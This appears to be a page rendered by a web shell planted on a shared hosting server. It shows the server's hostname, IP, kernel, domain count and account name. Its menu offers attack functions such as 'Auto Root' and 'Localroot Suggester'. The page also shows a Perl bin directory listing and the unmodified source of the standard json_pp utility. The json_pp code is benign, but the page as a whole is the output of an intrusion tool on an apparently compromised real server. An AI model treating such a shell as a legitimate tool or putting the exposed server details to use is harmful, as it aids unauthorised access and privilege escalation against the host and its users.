Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.105
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
local /
apps /
perl /
bin /
Delete
Unzip
Name
Size
Permission
Date
Action
corelist
14.77
KB
-rwxr-xr-x
2019-05-31 11:39
cpan
8
KB
-rwxr-xr-x
2019-05-31 11:39
dbilogstrip
1.36
KB
-r-xr-xr-x
2019-05-31 11:40
dbiprof
6.08
KB
-r-xr-xr-x
2019-05-31 11:40
dbiproxy
5.28
KB
-r-xr-xr-x
2019-05-31 11:40
enc2xs
41.09
KB
-rwxr-xr-x
2019-05-31 11:39
encguess
3.03
KB
-rwxr-xr-x
2019-05-31 11:39
fastcgi-wrapper.pl
3.08
KB
-rwxr-xr-x
2019-05-31 11:40
h2ph
28.57
KB
-rwxr-xr-x
2019-05-31 11:39
h2xs
59.47
KB
-rwxr-xr-x
2019-05-31 11:39
instmodsh
4.22
KB
-rwxr-xr-x
2019-05-31 11:39
json_pp
4.59
KB
-rwxr-xr-x
2019-05-31 11:39
libnetcfg
15.44
KB
-rwxr-xr-x
2019-05-31 11:39
lwp-download
8.36
KB
-r-xr-xr-x
2019-05-31 11:40
lwp-dump
2.66
KB
-r-xr-xr-x
2019-05-31 11:40
lwp-mirror
2.35
KB
-r-xr-xr-x
2019-05-31 11:40
lwp-request
14.64
KB
-r-xr-xr-x
2019-05-31 11:40
perl
3.16
MB
-rwxr-xr-x
2019-05-31 11:39
perl-fcgi
705
B
-rwxr-xr-x
2019-05-31 11:40
perl5.30.0
3.16
MB
-rwxr-xr-x
2019-05-31 11:39
perlbug
45.31
KB
-rwxr-xr-x
2019-05-31 11:39
perldoc
294
B
-rwxr-xr-x
2019-05-31 11:39
perlivp
10.6
KB
-rwxr-xr-x
2019-05-31 11:39
perlthanks
45.31
KB
-rwxr-xr-x
2019-05-31 11:39
piconv
8.19
KB
-rwxr-xr-x
2019-05-31 11:39
pl2pm
4.46
KB
-rwxr-xr-x
2019-05-31 11:39
pod2html
4.07
KB
-rwxr-xr-x
2019-05-31 11:39
pod2man
14.71
KB
-rwxr-xr-x
2019-05-31 11:39
pod2text
10.58
KB
-rwxr-xr-x
2019-05-31 11:39
pod2usage
3.87
KB
-rwxr-xr-x
2019-05-31 11:39
podchecker
3.59
KB
-rwxr-xr-x
2019-05-31 11:39
podselect
2.48
KB
-rwxr-xr-x
2019-05-31 11:39
prove
13.37
KB
-rwxr-xr-x
2019-05-31 11:39
ptar
3.5
KB
-rwxr-xr-x
2019-05-31 11:39
ptardiff
2.6
KB
-rwxr-xr-x
2019-05-31 11:39
ptargrep
4.32
KB
-rwxr-xr-x
2019-05-31 11:39
shasum
9.77
KB
-rwxr-xr-x
2019-05-31 11:39
splain
18.73
KB
-rwxr-xr-x
2019-05-31 11:39
xsubpp
5.07
KB
-rwxr-xr-x
2019-05-31 11:39
zipdetails
49.56
KB
-rwxr-xr-x
2019-05-31 11:39
Save
Rename
#!/usr/local/apps/perl/bin/perl eval 'exec /usr/local/apps/perl/bin/perl -S $0 ${1+"$@"}' if $running_under_some_shell; #!/usr/bin/perl BEGIN { pop @INC if $INC[-1] eq '.' } use strict; use Getopt::Long; use JSON::PP (); # imported from JSON-XS/bin/json_xs my %allow_json_opt = map { $_ => 1 } qw( ascii latin1 utf8 pretty indent space_before space_after relaxed canonical allow_nonref allow_singlequote allow_barekey allow_bignum loose escape_slash indent_length ); GetOptions( 'v' => \( my $opt_verbose ), 'f=s' => \( my $opt_from = 'json' ), 't=s' => \( my $opt_to = 'json' ), 'json_opt=s' => \( my $json_opt = 'pretty' ), 'V' => \( my $version ), ) or die "Usage: $0 [-V] [-f from_format] [-t to_format] [-json_opt options_to_json1[,options_to_json2[,...]]]\n"; if ( $version ) { print "$JSON::PP::VERSION\n"; exit; } $json_opt = '' if $json_opt eq '-'; my %json_opt; for my $opt (split /,/, $json_opt) { my ($key, $value) = split /=/, $opt, 2; $value = 1 unless defined $value; die "'$_' is not a valid json option" unless $allow_json_opt{$key}; $json_opt{$key} = $value; } my %F = ( 'json' => sub { my $json = JSON::PP->new; for my $key (keys %json_opt) { $json->$key($json_opt{$key}); } $json->decode( $_ ); }, 'eval' => sub { my $v = eval "no strict;\n#line 1 \"input\"\n$_"; die "$@" if $@; return $v; }, ); my %T = ( 'null' => sub { "" }, 'json' => sub { my $json = JSON::PP->new->utf8; for my $key (keys %json_opt) { $json->$key($json_opt{$key}); } $json->canonical if $json_opt{pretty}; $json->encode( $_ ); }, 'dumper' => sub { require Data::Dumper; local $Data::Dumper::Terse = 1; local $Data::Dumper::Indent = 1; local $Data::Dumper::Useqq = 1; local $Data::Dumper::Quotekeys = 0; local $Data::Dumper::Sortkeys = 1; Data::Dumper::Dumper($_) }, ); $F{$opt_from} or die "$opt_from: not a valid fromformat\n"; $T{$opt_to} or die "$opt_from: not a valid toformat\n"; local $/; $_ = <STDIN>; $_ = $F{$opt_from}->(); $_ = $T{$opt_to}->(); print $_; __END__ =pod =encoding utf8 =head1 NAME json_pp - JSON::PP command utility =head1 SYNOPSIS json_pp [-v] [-f from_format] [-t to_format] [-json_opt options_to_json1[,options_to_json2[,...]]] =head1 DESCRIPTION json_pp converts between some input and output formats (one of them is JSON). This program was copied from L<json_xs> and modified. The default input format is json and the default output format is json with pretty option. =head1 OPTIONS =head2 -f -f from_format Reads a data in the given format from STDIN. Format types: =over =item json as JSON =item eval as Perl code =back =head2 -t Writes a data in the given format to STDOUT. =over =item null no action. =item json as JSON =item dumper as Data::Dumper =back =head2 -json_opt options to JSON::PP Acceptable options are: ascii latin1 utf8 pretty indent space_before space_after relaxed canonical allow_nonref allow_singlequote allow_barekey allow_bignum loose escape_slash Multiple options must be separated by commas: Right: -json_opt pretty,canonical Wrong: -json_opt pretty -json_opt canonical =head2 -v Verbose option, but currently no action in fact. =head2 -V Prints version and exits. =head1 EXAMPLES $ perl -e'print q|{"foo":"あい","bar":1234567890000000000000000}|' |\ json_pp -f json -t dumper -json_opt pretty,utf8,allow_bignum $VAR1 = { 'bar' => bless( { 'value' => [ '0000000', '0000000', '5678900', '1234' ], 'sign' => '+' }, 'Math::BigInt' ), 'foo' => "\x{3042}\x{3044}" }; $ perl -e'print q|{"foo":"あい","bar":1234567890000000000000000}|' |\ json_pp -f json -t dumper -json_opt pretty $VAR1 = { 'bar' => '1234567890000000000000000', 'foo' => "\x{e3}\x{81}\x{82}\x{e3}\x{81}\x{84}" }; =head1 SEE ALSO L<JSON::PP>, L<json_xs> =head1 AUTHOR Makamaka Hannyaharamitu, E<lt>makamaka[at]cpan.orgE<gt> =head1 COPYRIGHT AND LICENSE Copyright 2010 by Makamaka Hannyaharamitu This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut